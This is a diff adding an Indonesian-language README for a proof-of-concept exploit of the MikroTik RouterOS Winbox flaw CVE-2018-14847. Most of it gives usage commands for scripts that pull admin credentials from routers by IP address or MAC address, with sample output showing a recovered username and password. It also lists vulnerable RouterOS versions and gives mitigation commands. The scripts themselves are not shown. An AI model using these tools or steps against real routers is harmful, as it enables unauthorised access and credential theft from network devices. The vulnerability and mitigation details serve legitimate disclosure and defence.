|
| 1 | +# Mikrotik Login Exploit |
| 2 | +PoC (Proof of Concept) dari vulnerability mikrotik CVE-2018-14847 (terutama pada winbox), memiliki cara kerja membaca password langsung dari RouterOS pada port default 8291. |
| 3 | + |
| 4 | +Original by: https://github.com/BigNerd95/ |
| 5 | + |
| 6 | +## Requirements |
| 7 | +- Python 3+ |
| 8 | + |
| 9 | +### Instalasi pada Linux |
| 10 | +``` |
| 11 | +apt install python3 |
| 12 | +``` |
| 13 | + |
| 14 | + |
| 15 | +## Contoh Penggunaan |
| 16 | + |
| 17 | +#### WinBox (TCP/IP) |
| 18 | +``` |
| 19 | +python3 WinboxExploit.py <IP-ADDRESS> [PORT] |
| 20 | +``` |
| 21 | +e.g: |
| 22 | +``` |
| 23 | +$ python3 WinboxExploit.py 192.168.1.1 |
| 24 | +Connected to 192.168.1.1:8291 |
| 25 | +Exploit successful |
| 26 | +User: admin |
| 27 | +Pass: oppaidaisuki123 |
| 28 | +``` |
| 29 | + |
| 30 | +#### Menggunakan MAC Address |
| 31 | +Anda bisa menggunakan script ini walau tanpa IP address. |
| 32 | + |
| 33 | +Gunakan MACServerDiscovery.py untuk scan router. |
| 34 | +``` |
| 35 | +python3 MACServerDiscover.py |
| 36 | +``` |
| 37 | +e.g: |
| 38 | +``` |
| 39 | +$ python3 MACServerDiscover.py |
| 40 | +Looking for Mikrotik devices (MAC servers) |
| 41 | +
|
| 42 | + aa:bb:cc:dd:ee:ff |
| 43 | +
|
| 44 | + aa:bb:cc:dd:ee:aa |
| 45 | +``` |
| 46 | + |
| 47 | +Exploitasi: |
| 48 | +``` |
| 49 | +python3 MACServerExploit.py <MAC-ADDRESS> |
| 50 | +``` |
| 51 | +e.g: |
| 52 | +``` |
| 53 | +$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff |
| 54 | +
|
| 55 | +User: admin |
| 56 | +Pass: oppaidaisuki123 |
| 57 | +``` |
| 58 | + |
| 59 | +## Vulnerable Versions |
| 60 | +RouterOS keluaran 2015-05-28 s/d 2018-04-20 |
| 61 | + |
| 62 | +RouterOS versions: |
| 63 | + |
| 64 | +- Longterm: 6.30.1 - 6.40.7 |
| 65 | +- Stable: 6.29 - 6.42 |
| 66 | +- Beta: 6.29rc1 - 6.43rc3 |
| 67 | + |
| 68 | +Info selengkapnya : https://blog.mikrotik.com/security/winbox-vulnerability.html |
| 69 | + |
| 70 | +## Pencegahan Exploit |
| 71 | +- Upgrade RouterOS ke 6.42+ |
| 72 | +- Nonaktifkan Winbox |
| 73 | +- Blok service: |
| 74 | +``` |
| 75 | +/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16 |
| 76 | +``` |
| 77 | +- Filter Rules (ACL), blok port 8291: |
| 78 | +``` |
| 79 | +/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop |
| 80 | +``` |
| 81 | +- Batasi akses login winbox dari MAC Adress: |
| 82 | +``` |
| 83 | +/tool mac-server mac-winbox |
| 84 | +``` |
0 commit comments